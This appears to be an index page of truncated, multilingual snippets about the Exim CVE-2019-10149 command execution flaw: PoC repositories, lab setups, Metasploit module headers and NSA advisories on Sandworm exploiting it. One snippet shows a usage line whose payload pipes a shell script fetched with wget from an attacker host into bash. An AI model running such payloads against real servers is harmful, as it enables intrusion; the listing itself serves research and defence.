PoC_CVE-2019-10149--rce

О программе Удаленное выполнение команд в оболочке из уязвимого сервиса Exim. Уязвимые версии: от 4.87 до 4.91 включительно. Подробнее: https://nvd.nist.gov/vuln/detail/cve-2019-10149. Данный скрипт основан на PoC от Qualys. Подробнее:...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf eximユーザーとグループを作成 sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 依存関係をインストール sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev libdb-d...

EXIM-4.87-CVE-2019-10149

EXIM-4.87-CVE-2019-10149 лаборатория для учебных целей...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149에 대한 테스트 PoC...

eximrce-CVE-2019-10149

eximrce Простое соединение через python socket для проверки уязвимости exim к CVE-2019-10149. Полезная нагрузка просто создаёт файл в /root/lweximtest. Вывод будет медленным в зависимости от ответа сервера, а также из-за незнания того, как правильно использовать модуль socket в Python. Был бы рад...

exim-cve-2019-10149-data

Сбор данных об уязвимостях Exim CVE Сбор данных, связанных с уязвимостями Exim CVE-2019-10149, CVE-2019-15846, CVE-2019-16928 Объявление CVE: https://vulners.com/cve/CVE-2019-10149 Детали эксплойта: https://www.exploit-db.com/exploits/46974 Хронология проблемы:...

CVE-2019-10149-Exim4-RCE

Cr.Exim 4.87 - 4.91 - Локальное повышение привилегий Ссылка: https://www.exploit-db.com/exploits/46996 1.Этот метод требует, чтобы вы сначала получили доступ к целевой машине с правами стандартного пользователя. 2.После того, как вы получили доступ к целевой машине, создайте файл скрипта со...

CVE-2019-10149-quick

CVE-2019-10149-quick 간단한 Bash 셸 빠른 수정 CVE-2019-10149...

CVE-2019-10149-Exploit

В этом репозитории нет README...

CVE-2019-10149-privilege-escalation

CVE-2019-10149 повышение привилегий "poc"...

CVE-2019-10149

В этом репозитории нет README...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC для эксплуатации уязвимости CVE-2019-10149 Пример использования python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

Exploit for OS Command Injection in Exim

Exim CVE Data Collection Data Collection Related to Exim Vuln...

NSA Warns of Sandworm Backdoor Attacks on Mail Servers

The Russia-linked APT group Sandworm has been spotted exploiting a vulnerability in the internet’s top email server software, according to the National Security Agency NSA. The bug exists in the Exim Mail Transfer Agent MTA software, an open-source offering used on Linux and Unix-like systems. It...

NSA Releases Advisory on Sandworm Actors Exploiting an Exim Vulnerability

The National Security Agency NSA has released a cybersecurity advisory on Russian advanced persistent threat APT group Sandworm exploiting a vulnerability—CVE-2019-10149—in Exim Mail Transfer Agent MTA software. An unauthenticated remote attacker can use this vulnerability to send a specially...

CVE-2019-10149

Exim unauthenticated RCE with reports that it’s been used by Sandworm since August 2019 Recent assessments: ericalexanderorg at May 28, 2020 4:49pm UTC reported: Untested POC exists https://github.com/MNEMO-CERT/PoC—CVE-2019-10149Exim/blob/master/PoCCVE-2019-10149.py gwillcox-r7 at November 04,...

Exploit for OS Command Injection in Exim

CVE-2019-10149 CVE-2019-10149 : A flaw was found in Exim versi...

Exploit for OS Command Injection in Exim

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor...

Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'expect' class MetasploitModule 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' = %q This module exploits a flaw in Exim versions 4.87 to 4.91...

Exim 4.91 Local Privilege Escalation

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'expect' class MetasploitModule 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' = %q This module exploits a flaw in Exim versions 4.87 to 4.91...